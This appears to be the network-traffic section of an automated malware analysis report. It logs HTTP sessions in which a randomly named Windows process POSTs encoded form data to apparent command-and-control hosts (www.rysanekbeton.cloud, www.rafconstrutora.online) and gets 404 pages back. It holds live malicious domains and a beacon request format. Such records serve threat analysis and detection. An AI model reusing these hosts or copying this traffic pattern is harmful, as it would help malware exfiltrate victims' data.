                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED]
                                                                                    Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:57.696386099 CET1236INData Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09
                                                                                    Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
                                                                                    Dec 5, 2024 18:23:57.696399927 CET698INData Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e
                                                                                    Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    25192.168.2.114999981.2.196.19802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:03.677978992 CET749OUTPOST /3g99/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.rysanekbeton.cloud
                                                                                    Origin: http://www.rysanekbeton.cloud
                                                                                    Referer: http://www.rysanekbeton.cloud/3g99/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 63 77 46 74 64 75 42 35 51 50 6a 65 33 42 75 6c 4b 65 46 59 30 66 5a 70 79 69 74 79 4f 78 4b 6e 71 45 35 67 59 6d 68 31 59 7a 5a 31 34 32 57 79 46 65 30 68 2b 51 49 6c 55 50 41 52 34 76 68 67 7a 54 58 46 4e 57 78 79 71 43 6a 51 69 46 66 6b 4a 4c 47 30 63 67 43 55 50 49 70 62 56 6e 65 32 63 50 38 35 4a 41 30 64 53 52 68 33 37 42 39 4b 68 4f 58 48 79 77 65 4d 44 4a 35 59 2b 33 76 4c 74 44 41 4c 74 48 78 2f 42 32 4d 38 4a 6b 6b 43 32 6b 4e 48 39 4c 50 74 6a 34 42 50 5a 61 59 34 4f 73 56 42 33 65 30 6b 52 64 63 6c 72 6c 34 2b 68 34 47 52 41 6b 70 4d 62 79 39 79 64 6f 70 42 65 67 3d 3d
                                                                                    Data Ascii: dTb4=cwFtduB5QPje3BulKeFY0fZpyityOxKnqE5gYmh1YzZ142WyFe0h+QIlUPAR4vhgzTXFNWxyqCjQiFfkJLG0cgCUPIpbVne2cP85JA0dSRh37B9KhOXHyweMDJ5Y+3vLtDALtHx/B2M8JkkC2kNH9LPtj4BPZaY4OsVB3e0kRdclrl4+h4GRAkpMby9ydopBeg==
                                                                                    Dec 5, 2024 18:24:04.964699984 CET292INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:24:04 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                    Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    26192.168.2.115000081.2.196.19802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:06.349773884 CET769OUTPOST /3g99/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.rysanekbeton.cloud
                                                                                    Origin: http://www.rysanekbeton.cloud
                                                                                    Referer: http://www.rysanekbeton.cloud/3g99/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 63 77 46 74 64 75 42 35 51 50 6a 65 78 53 6d 6c 47 66 46 59 34 76 5a 75 2b 43 74 79 56 68 4b 37 71 45 31 67 59 6b 51 6f 62 46 70 31 37 58 47 79 45 66 30 68 74 67 49 6c 66 76 41 75 32 50 68 72 7a 54 62 72 4e 55 56 79 71 43 6e 51 69 41 37 6b 4a 36 47 33 64 77 43 57 45 6f 70 5a 59 48 65 32 63 50 38 35 4a 42 52 32 53 52 70 33 37 79 6c 4b 6a 71 6a 59 70 51 65 4c 53 4a 35 59 7a 58 76 50 74 44 41 74 74 47 74 42 42 31 6b 38 4a 6d 38 43 33 78 68 49 30 4c 50 72 75 59 41 62 4b 62 49 79 42 63 4d 61 30 64 6f 78 52 66 73 42 6e 44 31 6b 78 62 50 47 44 33 68 4f 50 55 63 43 55 5a 4d 49 46 68 46 41 51 4d 45 46 38 4c 52 79 6f 61 67 79 33 4b 48 51 7a 62 51 3d
                                                                                    Data Ascii: dTb4=cwFtduB5QPjexSmlGfFY4vZu+CtyVhK7qE1gYkQobFp17XGyEf0htgIlfvAu2PhrzTbrNUVyqCnQiA7kJ6G3dwCWEopZYHe2cP85JBR2SRp37ylKjqjYpQeLSJ5YzXvPtDAttGtBB1k8Jm8C3xhI0LPruYAbKbIyBcMa0doxRfsBnD1kxbPGD3hOPUcCUZMIFhFAQMEF8LRyoagy3KHQzbQ=
                                                                                    Dec 5, 2024 18:24:07.697377920 CET292INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:24:07 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                    Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    27192.168.2.115000181.2.196.19802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:09.016716957 CET1782OUTPOST /3g99/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.rysanekbeton.cloud
                                                                                    Origin: http://www.rysanekbeton.cloud
                                                                                    Referer: http://www.rysanekbeton.cloud/3g99/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 63 77 46 74 64 75 42 35 51 50 6a 65 78 53 6d 6c 47 66 46 59 34 76 5a 75 2b 43 74 79 56 68 4b 37 71 45 31 67 59 6b 51 6f 62 46 68 31 37 6e 61 79 46 38 4d 68 75 67 49 6c 44 66 41 72 32 50 68 4d 7a 54 44 6e 4e 55 59 4e 71 45 37 51 6a 69 7a 6b 50 4f 53 33 58 77 43 57 4c 49 70 59 56 6e 65 6a 63 50 73 6c 4a 42 42 32 53 52 70 33 37 31 64 4b 6e 2b 58 59 75 67 65 4d 44 4a 35 55 2b 33 76 6a 74 44 4a 57 74 47 6f 36 47 46 45 38 49 46 45 43 30 44 5a 49 2f 4c 50 70 39 6f 41 54 4b 62 46 6f 42 63 67 57 30 65 30 58 52 64 4d 42 6b 57 6f 44 6d 35 44 63 61 6b 5a 4a 63 31 77 44 56 71 34 73 47 52 42 35 63 64 64 78 68 4d 31 6d 74 70 52 4c 31 2f 76 34 6b 38 6a 46 69 47 4e 34 49 30 59 6c 36 41 55 52 34 78 51 76 41 56 49 2b 4c 31 35 33 76 36 7a 63 58 38 35 2b 4b 34 30 79 35 6d 56 7a 35 45 37 33 79 67 75 43 2f 71 74 65 70 6b 71 39 61 51 33 49 38 65 50 36 38 68 4c 62 39 76 75 32 2b 6a 4e 5a 69 35 67 31 77 6d 61 61 4b 61 48 50 42 54 46 6c 33 33 34 78 73 48 71 55 36 4f 64 45 74 58 72 4c 34 71 6e 58 33 6b 46 62 65 [TRUNCATED]
                                                                                    Data Ascii: dTb4=cwFtduB5QPjexSmlGfFY4vZu+CtyVhK7qE1gYkQobFh17nayF8MhugIlDfAr2PhMzTDnNUYNqE7QjizkPOS3XwCWLIpYVnejcPslJBB2SRp371dKn+XYugeMDJ5U+3vjtDJWtGo6GFE8IFEC0DZI/LPp9oATKbFoBcgW0e0XRdMBkWoDm5DcakZJc1wDVq4sGRB5cddxhM1mtpRL1/v4k8jFiGN4I0Yl6AUR4xQvAVI+L153v6zcX85+K40y5mVz5E73yguC/qtepkq9aQ3I8eP68hLb9vu2+jNZi5g1wmaaKaHPBTFl334xsHqU6OdEtXrL4qnX3kFbe/Wr5xNTY6T6CZp9gVeGz2HvXBivouFhoaOje/YBet+3Qe2jOc3zSFEIEmiKaiXxh16+VuXqjOEEjEEF/TBgS+7z7Y42h36Z7r/vtsoby2rJi+zctL7ZqPHSS1hV8VXvYYycYVDJHxw+vICY6pHBzqWBqWidgfrgEysFFCCUGWaNyLRtI/AHxzpNjM3CMOATVJkLRoVcsi5W7FmrMY4KIZadQ4jumnCM9okSBMj5OKU6e3ZOBeKPYrGU2t7LTQaU2AsU0A+WhmhhSDuyXCjzY5pqVuWtFHf8hmn/FaWuFLAPhRYDnkiQLSbN72VB2y/TQI/aI2+DaOeDlF3VwDlFW09m7oNchQ+4x3Z3tIuxybon+J9GzV97hTXY1r3g9Qxn8rReAZBN0o4Y50PfC6ObyoPYRuhgeUUXg0VlSmXLJFWK2D0WMNzm/9YJp5JBmWBvmk3SfbTn3JotJmd1Kndp1Dvvc3yVpE4S0w42/7jT8ttL4L642CXe6jJnyVEnSw1p7moY3wuh2pIKC0U8kC9KTbwzW2RrSn9PHRVzPIMW4ulcbuzsGsIsSWUG6/xKiGkofJKDp3JbCei2xg1WcXmalmasCf7kfAKEgZvOayTkLDDKpQGFC7iiYqjFNegWcd2S3jv5rCVk7Tm0U7giZyE4oziMFdn4LKSCw9T [TRUNCATED]
                                                                                    Dec 5, 2024 18:24:10.297638893 CET292INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:24:10 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                    Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    28192.168.2.115000281.2.196.19802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:11.670469999 CET471OUTGET /3g99/?dTb4=RytNeZ1XRv60mT65LsYQ5INcqxgXEBqckwx6IFoxcwMb7EGpIrhq/2Ikbe8axKxY7FzhI3ANlUXRki/bAaSaVR+YOqFGQWyyR84NXiU2Qjtx7QpSgO7A7TM=&mZwPH=xrgxJbs HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.rysanekbeton.cloud
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:24:12.952560902 CET289INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:24:12 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 146
                                                                                    Connection: close
                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    29192.168.2.1150003104.21.34.103802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:18.424629927 CET758OUTPOST /0xli/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.rafconstrutora.online
                                                                                    Origin: http://www.rafconstrutora.online
                                                                                    Referer: http://www.rafconstrutora.online/0xli/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 53 67 59 33 6a 51 54 36 61 51 30 70 61 57 6e 49 79 62 4d 67 6d 48 6e 39 35 31 48 41 43 4b 4f 44 56 51 6f 78 58 39 35 6c 32 65 77 61 41 79 55 59 55 32 77 38 46 71 34 69 6e 65 6f 62 5a 39 5a 6c 58 41 58 59 76 46 4d 61 33 7a 6c 62 77 49 46 72 64 77 4f 75 38 37 53 2f 71 54 6d 33 4a 67 72 57 48 79 48 2b 75 36 50 46 6d 5a 65 73 41 51 32 67 66 76 4c 6c 79 6e 78 43 79 49 42 57 66 41 76 6b 52 38 33 69 32 54 6d 53 45 2b 66 34 64 45 70 56 73 59 4c 31 56 61 70 4e 4c 42 63 69 2b 59 6b 79 50 79 45 4d 30 2b 5a 70 34 75 36 46 52 38 51 47 44 6e 54 42 50 61 4b 35 2b 4a 35 77 76 6f 34 57 56 77 3d 3d
                                                                                    Data Ascii: dTb4=SgY3jQT6aQ0paWnIybMgmHn951HACKODVQoxX95l2ewaAyUYU2w8Fq4ineobZ9ZlXAXYvFMa3zlbwIFrdwOu87S/qTm3JgrWHyH+u6PFmZesAQ2gfvLlynxCyIBWfAvkR83i2TmSE+f4dEpVsYL1VapNLBci+YkyPyEM0+Zp4u6FR8QGDnTBPaK5+J5wvo4WVw==
                                                                                    Dec 5, 2024 18:24:19.577130079 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:24:19 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Last-Modified: Thu, 29 Sep 2022 21:53:06 GMT
                                                                                    Vary: Accept-Encoding
                                                                                    CF-Cache-Status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ehVwVWW8orrcqchtMcK70V6Pa1%2BqPKajBzY%2B1uxLdWgrX47QKonCnaiwyHcvx5Fh%2BxvUPiFES63NhkDwj6dONrr4fy%2BcADzLabFyyaSOzAU9RyucPvLId9p4fUj04FzZPtDMWCd4Lq4zYRwU"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8ed5baa4ef8dde9a-EWR
                                                                                    Content-Encoding: gzip
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1494&rtt_var=747&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=758&delivery_rate=0&cwnd=203&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                    Data Raw: 33 34 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 [TRUNCATED]
                                                                                    Data Ascii: 34bnF={E@I/M&@{*V(C,)oc@B/VPQ$QqZ;a|_@2}"P*'D@\v+B@1D|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s
                                                                                    Dec 5, 2024 18:24:19.577418089 CET492INData Raw: 3e eb e6 b3 a7 32 97 43 e6 72 d6 2d 9f cc 0c a3 c5 00 1a 46 8b 2e 8c 16 e2 99 5a 2e c3 e5 b0 61 e1 32 ea c2 e5 43 2d 53 75 5d a2 f4 d4 e8 42 3e 52 c2 f8 4c c2 b8 0b a3 f1 b3 a6 98 9e a9 98 46 5d 38 7d 5e 15 8b 33 15 8b 71 17 2e ce 54 9c b1 34 73
                                                                                    Data Ascii: >2Cr-F.Z.a2C-Su]B>RLF]8}^3q.T4s"G#,w%r&=U]%>r343-R1'kWq_eAJNO=0Io#_A19#ok\O}NU;dVPoscEWCp wVKz


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    30192.168.2.1150004104.21.34.103802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:21.094317913 CET778OUTPOST /0xli/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.rafconstrutora.online
                                                                                    Origin: http://www.rafconstrutora.online
                                                                                    Referer: http://www.rafconstrutora.online/0xli/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 53 67 59 33 6a 51 54 36 61 51 30 70 62 32 33 49 78 34 30 67 6a 6e 6e 36 32 56 48 41 4d 71 4f 48 56 51 73 78 58 38 4e 31 78 74 59 61 4f 78 41 59 56 33 77 38 45 71 34 69 70 2b 70 77 48 4e 5a 75 58 41 61 6e 76 48 6f 61 33 77 5a 62 77 4a 31 72 64 6e 53 70 39 72 54 5a 68 7a 6d 50 48 41 72 57 48 79 48 2b 75 2b 6e 76 6d 59 36 73 41 41 47 67 66 4f 4c 6d 2f 48 78 44 69 34 42 57 49 77 75 76 52 38 33 41 32 53 71 34 45 39 6e 34 64 46 5a 56 73 4b 6a 71 61 61 6f 45 55 52 64 54 75 59 30 34 47 51 6f 41 74 6f 6b 55 36 75 36 45 5a 61 64 63 54 45 61 57 4d 4a 43 37 71 76 59 41 6d 5a 64 66 4f 30 48 4c 70 75 55 70 6c 55 62 45 70 61 4c 49 43 72 4f 2f 51 71 77 3d
                                                                                    Data Ascii: dTb4=SgY3jQT6aQ0pb23Ix40gjnn62VHAMqOHVQsxX8N1xtYaOxAYV3w8Eq4ip+pwHNZuXAanvHoa3wZbwJ1rdnSp9rTZhzmPHArWHyH+u+nvmY6sAAGgfOLm/HxDi4BWIwuvR83A2Sq4E9n4dFZVsKjqaaoEURdTuY04GQoAtokU6u6EZadcTEaWMJC7qvYAmZdfO0HLpuUplUbEpaLICrO/Qqw=
                                                                                    Dec 5, 2024 18:24:22.328912973 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:24:22 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Last-Modified: Thu, 29 Sep 2022 21:53:06 GMT
                                                                                    Vary: Accept-Encoding
                                                                                    CF-Cache-Status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nk%2Bh4Cjgh6Ykrljq5KjDbBGeXUQMRG0HwTuRgPIX6Voy%2BobZcsJ2p5qNi3z1IdRnO5DEjiZbl5ZGu%2B07t%2BbD70832W7QAWBnI6sEnLnUXOGYyiAP1MpW1EsydachnqTUW3nOsxkKy8r1bQqi"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8ed5bab60ac243dc-EWR
                                                                                    Content-Encoding: gzip
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1688&rtt_var=844&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=778&delivery_rate=0&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
